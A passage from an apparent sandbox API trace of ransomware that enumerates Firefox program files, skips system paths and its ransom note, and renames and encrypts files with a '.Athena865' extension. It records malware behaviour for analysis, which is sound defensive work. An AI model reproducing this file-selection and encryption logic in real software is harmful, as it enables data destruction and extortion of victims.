[0045.543] lstrcmpiW (lpString1=".exe", lpString2="rodx") returned -1 [0045.543] lstrlenW (lpString="rpd") returned 3 [0045.543] lstrcmpiW (lpString1="exe", lpString2="rpd") returned -1 [0045.543] lstrlenW (lpString="rsd") returned 3 [0045.543] lstrcmpiW (lpString1="exe", lpString2="rsd") returned -1 [0045.543] lstrlenW (lpString="sas7bdat") returned 8 [0045.543] lstrcmpiW (lpString1="iner.exe", lpString2="sas7bdat") returned -1 [0045.543] lstrlenW (lpString="sbf") returned 3 [0045.543] lstrcmpiW (lpString1="exe", lpString2="sbf") returned -1 [0045.543] lstrlenW (lpString="scx") returned 3 [0045.543] lstrcmpiW (lpString1="exe", lpString2="scx") returned -1 [0045.543] lstrlenW (lpString="sdb") returned 3 [0045.543] lstrcmpiW (lpString1="exe", lpString2="sdb") returned -1 [0045.543] lstrlenW (lpString="sdc") returned 3 [0045.543] lstrcmpiW (lpString1="exe", lpString2="sdc") returned -1 [0045.543] lstrlenW (lpString="sdf") returned 3 [0045.543] lstrcmpiW (lpString1="exe", lpString2="sdf") returned -1 [0045.543] lstrlenW (lpString="sis") returned 3 [0045.543] lstrcmpiW (lpString1="exe", lpString2="sis") returned -1 [0045.543] lstrlenW (lpString="spq") returned 3 [0045.543] lstrcmpiW (lpString1="exe", lpString2="spq") returned -1 [0045.543] lstrlenW (lpString="te") returned 2 [0045.543] lstrcmpiW (lpString1="xe", lpString2="te") returned 1 [0045.543] lstrlenW (lpString="teacher") returned 7 [0045.543] lstrcmpiW (lpString1="ner.exe", lpString2="teacher") returned -1 [0045.543] lstrlenW (lpString="tmd") returned 3 [0045.543] lstrcmpiW (lpString1="exe", lpString2="tmd") returned -1 [0045.543] lstrlenW (lpString="tps") returned 3 [0045.543] lstrcmpiW (lpString1="exe", lpString2="tps") returned -1 [0045.543] lstrlenW (lpString="trc") returned 3 [0045.543] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0045.543] lstrlenW (lpString="trc") returned 3 [0045.544] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0045.544] lstrlenW (lpString="trm") returned 3 [0045.544] lstrcmpiW (lpString1="exe", lpString2="trm") returned -1 [0045.544] lstrlenW (lpString="udb") returned 3 [0045.544] lstrcmpiW (lpString1="exe", lpString2="udb") returned -1 [0045.544] lstrlenW (lpString="udl") returned 3 [0045.544] lstrcmpiW (lpString1="exe", lpString2="udl") returned -1 [0045.544] lstrlenW (lpString="usr") returned 3 [0045.544] lstrcmpiW (lpString1="exe", lpString2="usr") returned -1 [0045.544] lstrlenW (lpString="v12") returned 3 [0045.544] lstrcmpiW (lpString1="exe", lpString2="v12") returned -1 [0045.544] lstrlenW (lpString="vis") returned 3 [0045.544] lstrcmpiW (lpString1="exe", lpString2="vis") returned -1 [0045.544] lstrlenW (lpString="vpd") returned 3 [0045.544] lstrcmpiW (lpString1="exe", lpString2="vpd") returned -1 [0045.544] lstrlenW (lpString="vvv") returned 3 [0045.544] lstrcmpiW (lpString1="exe", lpString2="vvv") returned -1 [0045.544] lstrlenW (lpString="wdb") returned 3 [0045.544] lstrcmpiW (lpString1="exe", lpString2="wdb") returned -1 [0045.544] lstrlenW (lpString="wmdb") returned 4 [0045.544] lstrcmpiW (lpString1=".exe", lpString2="wmdb") returned -1 [0045.544] lstrlenW (lpString="wrk") returned 3 [0045.544] lstrcmpiW (lpString1="exe", lpString2="wrk") returned -1 [0045.544] lstrlenW (lpString="xdb") returned 3 [0045.544] lstrcmpiW (lpString1="exe", lpString2="xdb") returned -1 [0045.544] lstrlenW (lpString="xld") returned 3 [0045.544] lstrcmpiW (lpString1="exe", lpString2="xld") returned -1 [0045.544] lstrlenW (lpString="xmlff") returned 5 [0045.544] lstrcmpiW (lpString1="r.exe", lpString2="xmlff") returned -1 [0045.544] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Mozilla Firefox\\plugin-container.exe.Athena865") returned 69 [0045.544] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\plugin-container.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\plugin-container.exe"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\plugin-container.exe.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\plugin-container.exe.athena865"), dwFlags=0x1) returned 1 [0045.545] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\plugin-container.exe.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\plugin-container.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0045.545] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=18544) returned 1 [0045.545] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0045.546] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d480 [0045.546] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0045.546] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0045.546] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0045.546] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0045.547] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4b70, lpName=0x0) returned 0x17c [0045.548] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4b70) returned 0x100000 [0045.550] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0045.550] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0045.550] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0045.550] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d4f8 [0045.550] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d4f8 | out: hHeap=0x4f0000) returned 1 [0045.550] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0045.550] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0045.550] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0045.551] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0045.551] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x532d08 [0045.551] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0045.551] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0045.551] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0045.551] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0045.551] CloseHandle (hObject=0x17c) returned 1 [0045.551] CloseHandle (hObject=0x154) returned 1 [0045.553] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d480 | out: hHeap=0x4f0000) returned 1 [0045.553] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0045.553] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0045.553] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf1314a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf1314a0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x36139e00, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x6e70, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="plugin-hang-ui.exe", cAlternateFileName="PLUGIN~2.EXE")) returned 1 [0045.553] lstrcmpiW (lpString1="plugin-hang-ui.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0045.553] lstrcmpiW (lpString1="plugin-hang-ui.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0045.553] lstrcmpiW (lpString1="plugin-hang-ui.exe", lpString2=".") returned 1 [0045.553] lstrcmpiW (lpString1="plugin-hang-ui.exe", lpString2="..") returned 1 [0045.553] lstrcmpiW (lpString1="plugin-hang-ui.exe", lpString2="windows") returned -1 [0045.553] lstrcmpiW (lpString1="plugin-hang-ui.exe", lpString2="bootmgr") returned 1 [0045.553] lstrcmpiW (lpString1="plugin-hang-ui.exe", lpString2="temp") returned -1 [0045.553] lstrcmpiW (lpString1="plugin-hang-ui.exe", lpString2="pagefile.sys") returned 1 [0045.553] lstrcmpiW (lpString1="plugin-hang-ui.exe", lpString2="boot") returned 1 [0045.553] lstrcmpiW (lpString1="plugin-hang-ui.exe", lpString2="ids.txt") returned 1 [0045.553] lstrcmpiW (lpString1="plugin-hang-ui.exe", lpString2="ntuser.dat") returned 1 [0045.553] lstrcmpiW (lpString1="plugin-hang-ui.exe", lpString2="perflogs") returned 1 [0045.553] lstrcmpiW (lpString1="plugin-hang-ui.exe", lpString2="MSBuild") returned 1 [0045.553] lstrlenW (lpString="plugin-hang-ui.exe") returned 18 [0045.554] lstrcpyW (in: lpString1=0x241e896, lpString2="plugin-hang-ui.exe" | out: lpString1="plugin-hang-ui.exe") returned="plugin-hang-ui.exe" [0045.554] lstrlenW (lpString="plugin-hang-ui.exe") returned 18 [0045.554] lstrlenW (lpString="Athena865") returned 9 [0045.554] lstrcmpiW (lpString1="ng-ui.exe", lpString2="Athena865") returned 1 [0045.554] lstrlenW (lpString=".dll") returned 4 [0045.554] lstrcmpiW (lpString1="plugin-hang-ui.exe", lpString2=".dll") returned 1 [0045.554] lstrlenW (lpString=".lnk") returned 4 [0045.554] lstrcmpiW (lpString1="plugin-hang-ui.exe", lpString2=".lnk") returned 1 [0045.554] lstrlenW (lpString=".ini") returned 4 [0045.554] lstrcmpiW (lpString1="plugin-hang-ui.exe", lpString2=".ini") returned 1 [0045.554] lstrlenW (lpString=".sys") returned 4 [0045.554] lstrcmpiW (lpString1="plugin-hang-ui.exe", lpString2=".sys") returned 1 [0045.554] lstrlenW (lpString="plugin-hang-ui.exe") returned 18 [0045.554] lstrlenW (lpString="bak") returned 3 [0045.554] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1 [0045.554] lstrlenW (lpString="ba_") returned 3 [0045.554] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1 [0045.554] lstrlenW (lpString="dbb") returned 3 [0045.554] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1 [0045.554] lstrlenW (lpString="vmdk") returned 4 [0045.554] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1 [0045.554] lstrlenW (lpString="rar") returned 3 [0045.554] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1 [0045.554] lstrlenW (lpString="zip") returned 3 [0045.554] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1 [0045.554] lstrlenW (lpString="tgz") returned 3 [0045.554] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1 [0045.554] lstrlenW (lpString="vbox") returned 4 [0045.554] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1 [0045.554] lstrlenW (lpString="vdi") returned 3 [0045.554] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1 [0045.554] lstrlenW (lpString="vhd") returned 3 [0045.554] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1 [0045.554] lstrlenW (lpString="vhdx") returned 4 [0045.555] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1 [0045.555] lstrlenW (lpString="avhd") returned 4 [0045.555] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1 [0045.555] lstrlenW (lpString="db") returned 2 [0045.555] lstrcmpiW (lpString1="xe", lpString2="db") returned 1 [0045.555] lstrlenW (lpString="db2") returned 3 [0045.555] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1 [0045.555] lstrlenW (lpString="db3") returned 3 [0045.555] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1 [0045.555] lstrlenW (lpString="dbf") returned 3 [0045.555] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1 [0045.555] lstrlenW (lpString="mdf") returned 3 [0045.555] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1 [0045.555] lstrlenW (lpString="mdb") returned 3 [0045.555] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1 [0045.555] lstrlenW (lpString="sql") returned 3 [0045.555] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1 [0045.555] lstrlenW (lpString="sqlite") returned 6 [0045.555] lstrcmpiW (lpString1="ui.exe", lpString2="sqlite") returned 1 [0045.555] lstrlenW (lpString="sqlite3") returned 7 [0045.555] lstrcmpiW (lpString1="-ui.exe", lpString2="sqlite3") returned 1 [0045.555] lstrlenW (lpString="sqlitedb") returned 8 [0045.555] lstrcmpiW (lpString1="g-ui.exe", lpString2="sqlitedb") returned -1 [0045.555] lstrlenW (lpString="xml") returned 3 [0045.555] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1 [0045.555] lstrlenW (lpString="$er") returned 3 [0045.555] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1 [0045.555] lstrlenW (lpString="4dd") returned 3 [0045.555] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1 [0045.555] lstrlenW (lpString="4dl") returned 3 [0045.555] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1 [0045.555] lstrlenW (lpString="^^^") returned 3 [0045.555] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1 [0045.555] lstrlenW (lpString="abs") returned 3 [0045.555] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1 [0045.555] lstrlenW (lpString="abx") returned 3 [0045.556] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1 [0045.556] lstrlenW (lpString="accdb") returned 5 [0045.556] lstrcmpiW (lpString1="i.exe", lpString2="accdb") returned 1 [0045.556] lstrlenW (lpString="accdc") returned 5 [0045.556] lstrcmpiW (lpString1="i.exe", lpString2="accdc") returned 1 [0045.556] lstrlenW (lpString="accde") returned 5 [0045.556] lstrcmpiW (lpString1="i.exe", lpString2="accde") returned 1 [0045.556] lstrlenW (lpString="accdr") returned 5 [0045.556] lstrcmpiW (lpString1="i.exe", lpString2="accdr") returned 1 [0045.556] lstrlenW (lpString="accdt") returned 5 [0045.556] lstrcmpiW (lpString1="i.exe", lpString2="accdt") returned 1 [0045.556] lstrlenW (lpString="accdw") returned 5 [0045.556] lstrcmpiW (lpString1="i.exe", lpString2="accdw") returned 1 [0045.556] lstrlenW (lpString="accft") returned 5 [0045.556] lstrcmpiW (lpString1="i.exe", lpString2="accft") returned 1 [0045.556] lstrlenW (lpString="adb") returned 3 [0045.556] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0045.556] lstrlenW (lpString="adb") returned 3 [0045.556] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0045.556] lstrlenW (lpString="ade") returned 3 [0045.556] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1 [0045.556] lstrlenW (lpString="adf") returned 3 [0045.556] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1 [0045.556] lstrlenW (lpString="adn") returned 3 [0045.556] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1 [0045.556] lstrlenW (lpString="adp") returned 3 [0045.556] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1 [0045.556] lstrlenW (lpString="alf") returned 3 [0045.556] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1 [0045.556] lstrlenW (lpString="ask") returned 3 [0045.556] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1 [0045.556] lstrlenW (lpString="btr") returned 3 [0045.556] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1 [0045.556] lstrlenW (lpString="cat") returned 3 [0045.556] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1 [0045.556] lstrlenW (lpString="cdb") returned 3 [0045.556] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1 [0045.557] lstrlenW (lpString="ckp") returned 3 [0045.557] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1 [0045.557] lstrlenW (lpString="cma") returned 3 [0045.557] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1 [0045.557] lstrlenW (lpString="cpd") returned 3 [0045.557] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1 [0045.557] lstrlenW (lpString="dacpac") returned 6 [0045.557] lstrcmpiW (lpString1="ui.exe", lpString2="dacpac") returned 1 [0045.557] lstrlenW (lpString="dad") returned 3 [0045.557] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1 [0045.557] lstrlenW (lpString="dadiagrams") returned 10 [0045.557] lstrcmpiW (lpString1="ang-ui.exe", lpString2="dadiagrams") returned -1 [0045.557] lstrlenW (lpString="daschema") returned 8 [0045.557] lstrcmpiW (lpString1="g-ui.exe", lpString2="daschema") returned 1 [0045.557] lstrlenW (lpString="db-journal") returned 10 [0045.557] lstrcmpiW (lpString1="ang-ui.exe", lpString2="db-journal") returned -1 [0045.557] lstrlenW (lpString="db-shm") returned 6 [0045.557] lstrcmpiW (lpString1="ui.exe", lpString2="db-shm") returned 1 [0045.557] lstrlenW (lpString="db-wal") returned 6 [0045.557] lstrcmpiW (lpString1="ui.exe", lpString2="db-wal") returned 1 [0045.557] lstrlenW (lpString="dbc") returned 3 [0045.557] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1 [0045.557] lstrlenW (lpString="dbs") returned 3 [0045.557] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1 [0045.557] lstrlenW (lpString="dbt") returned 3 [0045.557] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1 [0045.557] lstrlenW (lpString="dbv") returned 3 [0045.557] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1 [0045.557] lstrlenW (lpString="dbx") returned 3 [0045.557] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1 [0045.557] lstrlenW (lpString="dcb") returned 3 [0045.557] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1 [0045.558] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Mozilla Firefox\\plugin-hang-ui.exe.Athena865") returned 67 [0045.558] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\plugin-hang-ui.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\plugin-hang-ui.exe"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\plugin-hang-ui.exe.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\plugin-hang-ui.exe.athena865"), dwFlags=0x1) returned 1 [0045.559] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\plugin-hang-ui.exe.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\plugin-hang-ui.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0045.559] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=28272) returned 1 [0045.559] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0045.559] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d480 [0045.559] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0045.559] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0045.560] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0045.560] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0045.560] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7170, lpName=0x0) returned 0x17c [0045.565] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7170) returned 0x100000 [0045.567] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0045.567] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0045.567] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0045.568] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d4f8 [0045.568] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d4f8 | out: hHeap=0x4f0000) returned 1 [0045.568] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0045.568] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0045.568] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0045.568] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0045.568] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x532d08 [0045.568] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0045.568] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0045.568] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0045.568] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0045.568] CloseHandle (hObject=0x17c) returned 1 [0045.568] CloseHandle (hObject=0x154) returned 1 [0045.570] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d480 | out: hHeap=0x4f0000) returned 1 [0045.570] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0045.570] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0045.570] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf1314a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf1314a0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x5c2963ee, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x7e3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="precomplete", cAlternateFileName="PRECOM~1")) returned 1 [0045.570] lstrcmpiW (lpString1="precomplete", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0045.570] lstrcmpiW (lpString1="precomplete", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0045.570] lstrcmpiW (lpString1="precomplete", lpString2=".") returned 1 [0045.571] lstrcmpiW (lpString1="precomplete", lpString2="..") returned 1 [0045.571] lstrcmpiW (lpString1="precomplete", lpString2="windows") returned -1 [0045.571] lstrcmpiW (lpString1="precomplete", lpString2="bootmgr") returned 1 [0045.571] lstrcmpiW (lpString1="precomplete", lpString2="temp") returned -1 [0045.571] lstrcmpiW (lpString1="precomplete", lpString2="pagefile.sys") returned 1 [0045.571] lstrcmpiW (lpString1="precomplete", lpString2="boot") returned 1 [0045.571] lstrcmpiW (lpString1="precomplete", lpString2="ids.txt") returned 1 [0045.571] lstrcmpiW (lpString1="precomplete", lpString2="ntuser.dat") returned 1 [0045.571] lstrcmpiW (lpString1="precomplete", lpString2="perflogs") returned 1 [0045.571] lstrcmpiW (lpString1="precomplete", lpString2="MSBuild") returned 1 [0045.571] lstrlenW (lpString="precomplete") returned 11 [0045.571] lstrcpyW (in: lpString1=0x241e896, lpString2="precomplete" | out: lpString1="precomplete") returned="precomplete" [0045.571] lstrlenW (lpString="precomplete") returned 11 [0045.571] lstrlenW (lpString="Athena865") returned 9 [0045.571] lstrcmpiW (lpString1="ecomplete", lpString2="Athena865") returned 1 [0045.571] lstrlenW (lpString=".dll") returned 4 [0045.571] lstrcmpiW (lpString1="precomplete", lpString2=".dll") returned 1 [0045.571] lstrlenW (lpString=".lnk") returned 4 [0045.571] lstrcmpiW (lpString1="precomplete", lpString2=".lnk") returned 1 [0045.571] lstrlenW (lpString=".ini") returned 4 [0045.571] lstrcmpiW (lpString1="precomplete", lpString2=".ini") returned 1 [0045.571] lstrlenW (lpString=".sys") returned 4 [0045.571] lstrcmpiW (lpString1="precomplete", lpString2=".sys") returned 1 [0045.571] lstrlenW (lpString="precomplete") returned 11 [0045.571] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Mozilla Firefox\\precomplete.Athena865") returned 60 [0045.571] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\precomplete" (normalized: "c:\\program files (x86)\\mozilla firefox\\precomplete"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\precomplete.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\precomplete.athena865"), dwFlags=0x1) returned 1 [0045.572] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\precomplete.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\precomplete.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0045.572] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2019) returned 1 [0045.572] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0045.572] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d480 [0045.572] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0045.572] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0045.573] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0045.573] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0045.573] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xaf0, lpName=0x0) returned 0x17c [0045.575] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xaf0) returned 0x100000 [0045.576] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0045.576] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0045.576] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0045.576] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d4f8 [0045.576] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d4f8 | out: hHeap=0x4f0000) returned 1 [0045.577] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0045.577] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0045.577] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0045.577] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0045.577] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, 